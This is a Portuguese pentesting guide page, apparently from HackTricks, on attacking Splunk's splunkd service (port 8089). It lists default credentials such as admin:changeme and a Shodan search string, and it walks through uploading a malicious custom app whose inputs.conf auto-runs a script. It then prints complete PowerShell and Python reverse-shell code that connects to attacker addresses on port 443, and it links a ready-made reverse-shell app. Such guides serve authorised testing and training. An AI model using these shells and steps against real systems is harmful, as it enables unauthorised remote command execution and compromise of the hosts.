119 lines
4.3 KiB
Markdown

# 8089 - Pentesting Splunkd
{{#include ../banners/hacktricks-training.md}}
## **Informações Básicas**
- Ferramenta de análise de logs usada para coleta, análise e visualização de dados
- Comumente usada em monitoramento de segurança e análise de negócios
- Portas padrão:
- Servidor web: 8000
- Serviço Splunkd: 8089
### Vetores de Vulnerabilidade:
1. Exploração da Versão Gratuita
- A versão de teste se converte automaticamente em versão gratuita após 60 dias
- A versão gratuita não possui autenticação
- Risco de segurança potencial se não for gerenciada
- Administradores podem ignorar implicações de segurança
2. Fraquezas de Credenciais
- Versões mais antigas: Credenciais padrão `admin:changeme`
- Versões mais novas: Credenciais definidas durante a instalação
- Potencial para uso de senhas fracas (por exemplo, `admin`, `Welcome`, `Password123`)
3. Oportunidades de Execução Remota de Código
- Múltiplos métodos de execução de código:
- Aplicações Django do lado do servidor
- Endpoints REST
- Entradas scriptadas
- Scripts de alerta
- Suporte multiplataforma (Windows/Linux)
- Entradas scriptadas podem executar:
- Scripts Bash
- Scripts PowerShell
- Scripts em lote
Potencial de Exploração Chave:
- Armazenamento de dados sensíveis
- Falta de autenticação na versão gratuita
- Múltiplos vetores para potencial execução remota de código
- Possibilidade de aproveitar entradas scriptadas para comprometimento do sistema
### Shodan
- `Splunk build`
## RCE
### Criar Aplicação Personalizada
O Splunk oferece um método sofisticado para execução remota de código através da implantação de aplicações personalizadas, aproveitando suas capacidades de script multiplataforma. A técnica central de exploração gira em torno da criação de uma aplicação maliciosa que pode executar shells reversos em sistemas Windows e Linux.
Uma aplicação personalizada pode executar **scripts Python, Batch, Bash ou PowerShell**. Além disso, **o Splunk vem com Python instalado**, então mesmo em sistemas **Windows** você poderá executar código Python.
Você pode usar [**este**](https://github.com/0xjpuff/reverse_shell_splunk) exemplo com o **`bin`** contendo exemplo para [Python](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/rev.py) e [PowerShell](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/run.ps1). Ou você pode criar o seu próprio.
O processo de exploração segue uma metodologia consistente entre plataformas:
```
splunk_shell/
├── bin (reverse shell scripts)
└── default (inputs.conf configuration)
```
O arquivo de configuração crítico `inputs.conf` ativa o script por:
- Definindo `disabled = 0`
- Configurando um intervalo de execução de 10 segundos
- Definindo o tipo de fonte do script
A implantação é simples:
1. Crie o pacote de aplicativo malicioso
2. Configure um listener (Netcat/socat) na máquina atacante
3. Faça o upload do aplicativo através da interface do Splunk
4. Acione a execução automática do script após o upload
Exemplo de shell reverso do Windows PowerShell:
```powershell
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()
```
Exemplo de shell reverso Python no Linux:
```python
import sys, socket, os, pty
ip = "10.10.14.15"
port = "443"
s = socket.socket()
s.connect((ip, int(port)))
[os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]
pty.spawn('/bin/bash')
```
### RCE & Escalação de Privilégios
Na página a seguir, você pode encontrar uma explicação de como este serviço pode ser abusado para escalar privilégios e obter persistência:
{{#ref}}
../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md
{{#endref}}
## Referências
- [https://academy.hackthebox.com/module/113/section/1213](https://academy.hackthebox.com/module/113/section/1213)
{{#include ../banners/hacktricks-training.md}}